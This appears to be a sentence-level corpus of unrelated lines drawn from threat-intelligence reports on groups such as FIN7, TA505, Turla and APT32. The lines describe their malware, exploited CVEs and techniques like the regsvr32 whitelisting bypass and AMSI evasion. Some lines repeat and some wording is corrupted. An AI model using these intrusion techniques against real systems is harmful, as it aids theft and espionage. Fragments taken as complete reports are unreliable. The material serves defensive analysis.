 Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
 The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
 The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
 Given FIN7’s previous use of false security companies , we decided to look deeper into this one .
 This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
 FIN7’s last campaigns were targeting banks in Europe and Central America .
 After a successful penetration , FIN7 uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
 AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
 This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
 In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc. , and can act as a keylogger .
 They also use AutoIT droppers , password-protected EXE files and even ISO images .
 To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
 Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
 At the end of 2018 , while searching for new FIN7 campaigns via telemetry , we discovered a set of activity that we temporarily called CopyPaste” from a previously unknown APT .
 FIN7 and Cobalt used decoy 302 HTTP redirections too , FIN7 on its GRIFFON C2s before January 2018 , and Cobalt , on its staging servers , similar to CopyPaste .
 Quite recently , FIN7 threat actors typosquatted the brand Digicert” using the domain name digicert-cdn[.]com , which is used as a command and control server for their GRIFFON implants .
 The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
 The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
 we observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
 The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
 At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
 FIN7 thus continues to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
 MuddyWater is widely regarded as a long-lived APT group in the Middle East .
 From February to April 2019 , MuddyWater launched a series of spear-phishing attacks against governments , educational institutions , financial , telecommunications and defense companies in Turkey , Iran , Afghanistan , Iraq , Tajikistan and Azerbaijan .
 FIN7 thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
 We also unearthed and detailed our other findings on MuddyWater , such as its connection to four Android malware variants and its use of false flag techniques , among others , in our report New MuddyWater Activities Uncovered: Threat Actors Used Multi-Stage Backdoors , False Flags , Android malware , and More .
 Instead , the campaign used compromised legitimate accounts to trick victims into installing malware .
 Notably , the group’s use of email as infection vector seems to yield success for their campaigns .
 We also observed MuddyWater’s use of multiple open source post-exploitation tools , which they deployed after successfully compromising a target .
 The attacker also connected to the compromised servers from IP addresses that were linked to dynamic domain names used as C&Cs by the delivered payloads .
 The main payload is usually Imminent Monitor RAT ; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
 In a case in June 2019 , we also noticed Warzone RAT being used .
 Xpert RAT reportedly first appeared in 2011 .
 The first version of Proyecto RAT” was published at the end of 2010 .
 But with the West African gang we’ve named Scattered Canary , we have a deeper look at how business email compromise is connected to the rest of the cybercrime .
This investigation by the Agari Cyber Intelligence Division into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities , and the growth of a 419 startup into a fully operational BEC business .
 While this criminal organization’s activities now center around BEC , and extend to romance scams , credit card fraud , check fraud , fake job listings , credential harvesting , tax schemes , and more , these actors came from much humbler beginnings , starting with basic Craigslist scams in 2008 .
 On November 29 , 2018 , Scattered Canary sent an attack email to Agari CFO Raymond Lim , enquiring as to his availability to send out a domestic wire transfer .
 Many feel that they have a home team advantage living in Nigeria , where they are free to pay off law enforcement to look the other ACT .
 Scattered Canary’s fraudulent history can be traced as far back as October 2008 , when the group first arrived on the cybercriminal circuit .
 By March 2016 , one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group .
 Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
 By all accounts , late 2015 was the beginning of BEC for Scattered Canary .
 The first type of attack Scattered Canary pivoted to was credential phishing .
 Between July 2015 and February 2016 , Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page .
 In the first few months of their credential phishing ventures , Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan , in particular .
 In November 2015 , the group started to focus on North American users , mostly in the United States .
 This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BEC skills .
In total , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
 For over eighteen months from March 2017 until November 2018 , Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada .
 In July 2018 , following a trend we have observed across the entire BEC threat landscape , Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards .
 Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
 Using personal information obtained from various sources , Scattered Canary started perpetrating fraud against US federal and state government agencies .
 In total , 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008 .
 Just as with romance scams , actors make use of scripts and templates they can copy-and-paste without having to create something on their own .
 When it comes to engaging targets , Scattered Canary frequently maximized efficiencies through the use of scripts , or as some members of the group call them , formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims .
 Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .
 If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams , this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations .
 This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .
 Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .
 In the past , Sednit used a similar technique for credential phishing .
 At the end of August 2018 , the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .
 As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .
 The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
 It used GitHub and Slack as tools for communication between the malware and its controller .
 On July 9 , we discovered a new version of SLUB delivered via another unique watering hole website .
 This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative ( ZDI ) that was just patched this April .
Since we published out last report on SLUB , the backdoor has been updated and several improvements were implemented .
 The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
 During this attack , we found that the SLUB malware used two Slack teams sales-yww9809” and marketing-pwx7789 .
 SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments .
 In April 2018 , SWEED began making use of a previously disclosed Office exploit .
 In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
 We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea .
 Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
 Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
TA505 is also using FlowerPippi ( Backdoor.Win32.FLOWERPIPPI.A ) , a new backdoor that we found them using in their campaigns against targets in Japan , India , and Argentina .
 TA505 targeted Middle Eastern countries in a June 11 campaign that delivered more than 90% of the total spam emails to the UAE , Saudi Arabia , and Morroco .
 It fetches the same FlawedAmmyy downloader .msi file , then downloads the FlawedAmmyy payload .
 TA505 used Wizard (.wiz) files in this campaign , with FlawedAmmyy RAT as the final payload .
 On June 14 , we saw TA505’s campaign still targeting UAE with similar tactics and techniques , but this time , some of the spam emails were delivered via the Amadey botnet .
 It later delivered an information stealer named EmailStealer , ” which stolesimple mail transfer protocolSMTP ) credentials and email addresses in the victim’s machine .
 On June 18 , the majority of the campaign’s spam emails were sent with the subject , Your RAKBANK Tax Invoice / Tax Credit Note” or Confirmation .
 This campaign used the abovementioned .HTML file , malicious Excel/Word document VBA macro , the FlawedAmmyy payload , and Amadey .
 On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
 On June 17 , we observed the campaign’s spam emails delivering malware-embedded Excel files directly as an attachment .
 On June 20 , we spotted the campaign’s spam emails delivering .doc and .xls files .
 Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
 After our analysis , we found that Proofpoint reported this malware as AndroMut as well .
 In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
 Another new malware we found that TA505 is using in their campaigns last June 20 against targets in Japan , the Philippines , and Argentina is FlowerPippi .
 The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
 The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor: a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
 The comparison of the infection chains reveals in both cases TA505 used a couple of SFX stages to deploy the RMS” software: a legitimate remote administration tool produced by the Russian company TektonIT .
 The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the Stealthy email Stealer” part of their arsenal .
 Also , some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
 In 2018 , Kaspersky Labs published a report that analyzed a Turla PowerShell loader that was based on the open-source project Posh-SecMod .
 Turla is believed to have been operating since at least 2008 , when it successfully breached the US military .
 This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products .
 However , it is likely the same scripts are used more globally against many traditional Turla targets in Western Europe and the Middle East .
 In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface ( AMSI ) .
Based on our research , SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans .
 It is interesting to note that Turla operators used the free email provider GMX again , as in the Outlook Backdoor and in LightNeuron .
 This new research confirms our forecast and shows that the Turla group does not hesitate to use open-source pen-testing frameworks to conduct intrusion .
 Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
 One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus aka OilRig , APT34 .
 Waterbug has been using Meterpreter since at least early 2018 and , in this campaign , used a modified version of Meterpreter , which was encoded and given a .wav extension in order to disguise its true purpose .
 In all likelihood , Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover .
 One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East , Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim’s network .
 These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors .
 Curiously though , Waterbug also compromised other computers on the victim’s network using its own infrastructure .
 Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug .
 Aside from the attack involving Crambus infrastructure , this sample of Mimikatz has only been seen used in one other attack , against an education target in the UK in 2017 .
 The first observed evidence of Waterbug activity came on January 11 , 2018 , when a Waterbug-linked tool (a task scheduler named msfgi.exe ) was dropped on to a computer on the victim’s network .
 In the case of the attack against the Middle Eastern target , Crambus was the first group to compromise the victim’s network , with the earliest evidence of activity dating to November 2017 .
 Waterbug’s intrusions on the victim’s network continued for much of 2018 .
 Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point .
It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool .
 Waterbug also used an older version of PowerShell , likely to avoid logging .
 In one of these campaigns , Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest .
 The malware then uses WebDAV to upload the RAR archive to a Box account .
The DeepSight Managed Adversary and Threat Intelligence team co-authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug ( aka Turla ) Cyber Espionage group , and methods of detecting and thwarting activities of this adversary .
 The DeepSight MATI team authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug Cyber Espionage group , and methods of detecting and thwarting activities of this adversary .
 While reviewing a 2015 report⁵ of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti⁶ samples designed specifically for Linux⁷ .
 Following these reports , Chronicle researchers doubled down on efforts to try to unravel the various campaigns where Winnti was leveraged .
 Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
 Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
 We will see more from Zebrocy into 2019 on government and military related organizations .
 The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
 In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
 The FBI issued a rare bulletin admitting that a group named APT6 hacked into US government computer systems as far back as 2011 and for years stole sensitive data .
 FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123 .
 Trend Micro attributes this activity to MuddyWater , an Iran-nexus actor that has been active since at least May 2017 .
 FireEye assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
 FireEye has observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks .
 On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
 Kaspersky reveals that APT33 is a capable group that has carried out Cyber Espionage operations since at least 2013 .
 APT33 is the only group that Kaspersky has observed use the DROPSHOT dropper .
 The Cyber Espionage group APT32 heavily obfuscates their backdoors and scripts , and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017 .
 In all Mandiant investigations to date where the CARBANAK backdoor has been discovered , the activity has been attributed to the FIN7 threat group .
 Kaspersky released a similar report about the same group under the name Carbanak in February 2015 .
 FireEye assesses that APT32 leverages a unique suite of fully-featured malware .
 FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam’s manufacturing , consumer products , and hospitality sectors .
 The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions .
 FireEye assesses that APT32 is a Cyber Espionage group aligned with Vietnamese government interests .
 In May and June 2017 , FireEye has associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
 APT10 is a Chinese Cyber Espionage group that FireEye has tracked since 2009 .
 In addition to the spear phishes , FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers .
 FireEye’s visibility into the operations of APT28 – a group we believe the Russian government sponsors – has given us insight into some of the government’s targets , as well as its objectives and the activities designed to further them .
 FireEye has tracked and profiled APT28 group through multiple investigations , endpoint and network detections , and continuous monitoring .
 In April 2015 , FireEye uncovered the malicious efforts of APT30 , a suspected China-based threat group .
 FireEye iSIGHT Intelligence has been tracking a pair of cybercriminals that we refer to as the Vendetta Brothers .
 Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
McAfee concludes that some groups—and especially the Poetry Group —have shifted tactics to use Citadel in ACTs other than what it was originally intended for .
 McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
 In November 2017 , Talos observed the Group123 , which included a new version of ROKRAT being used in the latest wave of attacks .
 In addition to TALOS investigation on KONNI , on July 18 2017 , BitDefender released a whitepaper on DarkHotel .
 According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
 ESET has also reported PowerShell scripts being used by Turla to provide direct , in-memory loading and execution of malware .
 Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
 Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government .
 Symantec researchers have uncovered evidence that the Waterbug APT group has conducted a hostile takeover of an attack platform .
 Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor .
 Kaspersky found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager .
 Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group , primarily focused on cyber-espionage in Asia .
 LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East .
 Talos published its analysis of the BlackWater campaign , related to MuddyWater group .
 Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
 Regarding other groups , Kaspersky discovered new activity related to ZooPark , a cyber-espionage threat actor that has focused mainly on stealing data from Android devices .
 Recorded Future published an analysis of the infrastructure built by APT33 ( aka Elfin ) to target Saudi organizations .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
 In a recent campaign , Kaspersky observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor .
 ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
 The threat actor behind the campaign , which Kaspersky believes to be the PLATINUM APT group , uses an elaborate , previously unseen , steganographic technique to conceal communication .
 FireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope , Leviathan and TEMP.Jumper .
 In January , Kaspersky identified new activity by the Transparent Tribe APT group aka PROJECTM and MYTHIC LEOPARD , a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets .
 OceanLotus was another actor active during this period , using a new downloader called KerrDown , as reported by Palo Alto .
 ESET recently uncovered a new addition to OceanLotus’s toolset targeting Mac OS .
 In mid-2018 , Kaspersky's report on Operation AppleJeus” highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges .
 Kaspersky also observed some activity from Gaza Team and MuddyWater .
 Kaspersky wrote about LuckyMouse targeting national data centers in June .
 Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China .
 Kaspersky have observed similar activity in the past from groups such as Oilrig and Stonedrill , which leads us to believe the new attacks could be connected , though for now that connection is only assessed as low confidence .
 In August 2019 , FireEye released the Double Dragon” report on our newest graduated threat group , APT41 .
 Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations .
 Group-IB experts continuously monitor the Silence’ activities .
 Group-IB has uncovered a hacker group , MoneyTaker , attacking banks in the USA and Russia .
 Group-IB reveals the unknown details of attacks from one of the most notorious APT groups , Lazarus .
 Finally , Kaspersky produced a summary report on Sofacy’s summertime activity .
 Kaspersky were also able to produce two reports on Korean speaking actors , specifically involving Scarcruft and Bluenoroff .
 Analysis of the payload allowed us to confidently link this attack to an actor Kaspersky track as BlackOasis .
 Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
The initial indicator of the attack was a malicious Web shell that was detected on an IIS server , coming out of the w3wp.exe process .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
 Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
 North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
The malware may inject itself into browser processes and explorer.exe .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
We have not yet identified FIN7’s ultimate goal in this campaign , as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control ( C2 ) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed , it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak Trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and PROT that the shellcode should connect to or listen on .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008 — at least based on the file properties of the decoy documents they've been sending to their targets .
Carbanak is a backdoor used by the attackers to compromise the victim .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
